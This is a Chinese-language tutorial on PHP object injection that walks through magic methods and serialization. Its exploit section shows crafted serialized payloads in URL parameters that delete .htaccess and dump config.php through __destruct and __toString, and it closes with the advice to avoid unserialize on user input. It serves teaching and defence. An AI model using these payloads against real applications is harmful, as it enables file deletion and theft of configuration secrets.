深入理解PHP物件注入
0×00 背景
PHP物件注入是一個非常常見的漏洞,這個型別的漏洞雖然有些難以利用,但仍舊非常危險,為了理解這個漏洞,請讀者具備基礎的php知識。
0×01 漏洞案例
如果你覺得這是個渣渣洞,那麼請看一眼這個列表,一些被審計狗挖到過該漏洞的系統,你可以發現都是一些耳熟能詳的玩意(就國外來說)
除此之外等等一堆系統,八成可能大概在這些還有其他的php程式中還有很多這種型別的漏洞,所以不妨考慮坐下喝杯咖啡並且試著去理解這篇文章。
0×01 PHP類和物件
類和變數是非常容易理解的php概念,打個比方,下面的程式碼在一個類中定義了一個變數和一個方法。
<?php class TestClass { // A variable public $variable = 'This is a string'; // A simple method public function PrintVariable() { echo $this->variable; } } // Create an object $object = new TestClass(); // Call a method $object->PrintVariable(); ?>
它建立了一個物件並且呼叫了 PrintVariable 函式,該函式會輸出變數 variable。
如果想了解更多關於php物件導向程式設計的知識 請點: http://php.net/manual/zh/language.oop5.php
0×02 php Magic方法
php類可能會包含一些特殊的函式叫magic函式,magic函式命名是以符號“__”開頭的,比如 __construct, __destruct, __toString, __sleep, __wakeup 和其他的一些玩意。
這些函式在某些情況下會自動呼叫,比如:
__construct 當一個物件建立時呼叫 (constructor) __destruct 當一個物件被銷燬時呼叫 (destructor) __ toString當一個物件被當作一個字串使用
為了更好的理解magic方法是如何工作的,讓我們新增一個magic方法在我們的類中。
<?php class TestClass { // 一個變數public $variable = 'This is a string';// 一個簡單的方法 public function PrintVariable() { echo $this->variable . '<br />'; } // Constructor public function __construct() { echo '__construct <br />'; } // Destructor public function __destruct() { echo '__destruct <br />'; } // Call public function __toString() { return '__toString<br />'; } } // 建立一個物件 // __construct會被呼叫 $object = new TestClass(); // 建立一個方法 // 'This is a string’ 這玩意會被輸出 $object->PrintVariable(); // 物件被當作一個字串 // __toString 會被呼叫 echo $object; // End of PHP script // php指令碼要結束了, __destruct會被呼叫 ?>
我們往裡頭放了三個 magic方法,__construct, __destruct和 __toString,你可以看出來,__construct在物件建立時呼叫, __destruct在php指令碼結束時呼叫,__toString在物件被當作一個字串使用時呼叫。
這個指令碼會輸出這狗樣:
__construct This is a string __toString __destruct
這只是一個簡單的例子,如果你想了解更多有關magic函式的例子,請點選連結
0×03 php物件序列化
php允許儲存一個物件方便以後重用,這個過程被稱為序列化,打個比方,你可以儲存一個包含著使用者資訊的物件方便等等重用。
為了序列化一個物件,你需要呼叫 “serialize”函式,函式會返回一個字串,當你需要用到這個物件的時候可以使用“unserialize”去重建物件。
讓我們在序列化丟進那個例子,看看序列化張什麼樣。
<?php // 某類class User { // 類資料public $age = 0; public $name = ''; // 輸出資料 public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 建立一個物件 $usr = new User(); // 設定資料 $usr->age = 20; $usr->name = 'John'; // 輸出資料 $usr->PrintData(); // 輸出序列化之後的資料 echo serialize($usr); ?>
它會輸出
User John is 20 years old. O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
你可以看到序列化之後的資料中 有 20和John,其中沒有任何跟類有關的東西,只有其中的資料被資料化。
為了使用這個物件,我們用unserialize重建物件。
<?php// 某類class User { // Class datapublic $age = 0; public $name = ''; // Print data public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 重建物件 $usr = unserialize('O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John";}'); // 呼叫PrintData 輸出資料 $usr->PrintData(); ?>
著會輸出
User John is 20 years old
0×04 序列化magic函式
magic函式constructor (__construct)和 destructor (__destruct) 是會在物件建立或者銷燬時自動呼叫,其他的一些magic函式會在serialize 或者 unserialize的時候被呼叫。
__sleep magic方法在一個物件被序列化的時候呼叫。 __wakeup magic方法在一個物件被反序列化的時候呼叫。
注意 __sleep 必須返回一個陣列與序列化的變數名。
<?php class Test { public $variable = 'BUZZ'; public $variable2 = 'OTHER';public function PrintVariable() { echo $this->variable . '<br />'; }public function __construct() { echo '__construct<br />'; } public function __destruct() { echo '__destruct<br />'; } public function __wakeup() { echo '__wakeup<br />'; } public function __sleep() { echo '__sleep<br />'; return array('variable', 'variable2'); } } // 建立一個物件,會呼叫 __construct $obj = new Test(); // 序列化一個物件,會呼叫 __sleep $serialized = serialize($obj); //輸出序列化後的字串 print 'Serialized: ' . $serialized . <br />'; // 重建物件,會呼叫 __wakeup $obj2 = unserialize($serialized); //呼叫 PintVariable, 會輸出資料 (BUZZ) $obj2->PrintVariable(); // php指令碼結束,會呼叫 __destruct ?>
這玩意會輸出:
__construct __sleep Serialized: O:4:"Test":2: {s:8:"variable";s:4:"BUZZ";s:9:"variable2";s:5:"OTHER";} __wakeup BUZZ __destruct __destruct
你可以看到,我們建立了一個物件,序列化了它(然後__sleep被呼叫),之後用序列化物件重建後的物件建立了另一個物件,接著php指令碼結束的時候兩個物件的__destruct都會被呼叫。
0×05 php物件注入
現在我們理解了序列化是如何工作的,我們該如何利用它?事實上,利用這玩意的可能性有很多種,關鍵取決於應用程式的流程與,可用的類,與magic函式。
記住序列化物件的值是可控的。
你可能會找到一套web程式的原始碼,其中某個類的__wakeup 或者 __destruct and其他亂七八糟的函式會影響到web程式。
打個比方,我們可能會找到一個類用於臨時將日誌儲存進某個檔案,當__destruct被呼叫時,日誌檔案會被刪除。然後程式碼張這狗樣。
public function LogData($text) { echo 'Log some data: ' . $text . '<br />'; file_put_contents($this->filename, $text, FILE_APPEND); } // Destructor 刪除日誌檔案 public function __destruct() { echo '__destruct deletes "' . $this->filename . '" file. <br />'; unlink(dirname(__FILE__) . '/' . $this->filename); } } ?>
某例子關於如何使用這個類
<?php include 'logfile.php';// 建立一個物件$obj = new LogFile(); // 設定檔名和要儲存的日誌資料 $obj->filename = 'somefile.log'; $obj->LogData('Test'); // php指令碼結束啦,__destruct被呼叫,somefile.log檔案被刪除。 ?>
在其他的指令碼,我們可能又恰好找到一個呼叫“unserialize”函式的,並且恰好變數是使用者可控的,又恰好是$_GET之類的什麼玩意的。
著作權歸作者所有。 商業轉載請聯絡作者獲得授權,非商業轉載請註明出處。 作者:Wujunze 連結:https://wujunze.com/php_class_inject.jsp?hmsr=toutiao.io&utm_medium=toutiao.io&utm_source=toutiao.io 來源:wujunze.com <?php include 'logfile.php';// ... 一些狗日的程式碼和 LogFile 類 ...// 簡單的類定義 class User { // 類資料 public $age = 0; public $name = ''; // 輸出資料 public function PrintData() { echo 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 重建 使用者輸入的 資料 $usr = unserialize($_GET['usr_serialized']); ?>
你看,這個程式碼呼叫了 “LogClass” 類,並且有一個 “unserialize” 值是我們可以注入的。
所以構造類似這樣的東西:
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
究竟發生了什麼呢,因為輸入是可控的,所以我們可以構造任意的序列化物件,比如:
<?php$obj = new LogFile(); $obj->filename = '.htaccess';echo serialize($obj) . '<br />';?>
這個會輸出
O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess";} __destruct deletes ".htaccess" file.
現在我們將構造過後的序列化物件傳送給剛才的指令碼:
script.php?usr_serialized=O:7:"LogFile":1:{s:8:"filename";s:9:".htaccess”;}
這會輸出
__destruct deletes ".htaccess" file.
現在 .htaccess 已經被幹掉了,因為指令碼結束時 __destruct會被呼叫。不過我們已經可以控制“LogFile”類的變數啦。
這就是漏洞名稱的由來:變數可控並且進行了unserialize操作的地方注入序列化物件,實現程式碼執行或者其他坑爹的行為。
雖然這不是一個很好的例子,不過我相信你可以理解這個概念,unserialize自動呼叫 __wakeup 和 __destruct,接著攻擊者可以控制類變數,並且攻擊web程式。
0×06 常見的注入點
先不談 __wakeup 和 __destruct,還有一些很常見的注入點允許你利用這個型別的漏洞,一切都是取決於程式邏輯。
打個比方,某使用者類定義了一個__toString為了讓應用程式能夠將類作為一個字串輸出(echo $obj) ,而且其他類也可能定義了一個類允許__toString讀取某個檔案。
<?php // … 一些include ...class FileClass { // 檔名public $filename = 'error.log'; //當物件被作為一個字串會讀取這個檔案 public function __toString() { return file_get_contents($this->filename); } } // Main User class class User { // Class data public $age = 0; public $name = ''; // 允許物件作為一個字串輸出上面的data public function __toString() { return 'User ' . $this->name . ' is ' . $this->age . ' years old. <br />'; } } // 使用者可控 $obj = unserialize($_GET['usr_serialized']); // 輸出 __toString echo $obj; ?>
so,我們構造url
script.php?usr_serialized=O:4:"User":2:{s:3:"age";i:20;s:4:"name";s:4:"John”;}
再想想,如果我們用序列化呼叫 FileClass呢
我們建立利用程式碼
<?php$fileobj = new FileClass(); $fileobj->filename = 'config.php';echo serialize($fileobj);?>
接著用生成的exp注入url
script.php?usr_serialized=O:9:"FileClass":1:{s:8:"filename";s:10:"config.php”;}
接著網頁會輸出 config.php的原始碼
<?php$private_data = 'MAGIC';?>
ps:我希望這讓你能夠理解。
0×07 其他的利用方法
可能其他的一些magic函式海存在利用點:比如__call 會在物件呼叫不存在的函式時呼叫,__get 和 __set會在物件嘗試訪問一些不存在的類,變數等等時呼叫。
不過需要注意的是,利用場景不限於magic函式,也有一些方式可以在一半的函式中利用這個漏洞,打個比方,一個模組可能定義了一個叫get的函式進行一些敏感的操作,比如訪問資料庫,這就可能造成sql注入,取決於函式本身的操作。
唯一的一個技術難點在於,注入的類必須在注入點所在的地方,不過一些模組或者指令碼會使用“autoload”的功能,具體可以在這裡瞭解
0×08 如何利用或者避免這個漏洞
別在任何使用者可控的地方使用“unserialize”,可以考慮“json_decode“
0×09 結論
雖然很難找到而且很難利用,但是這真的真的很嚴重,可以導致各種各樣的漏洞。
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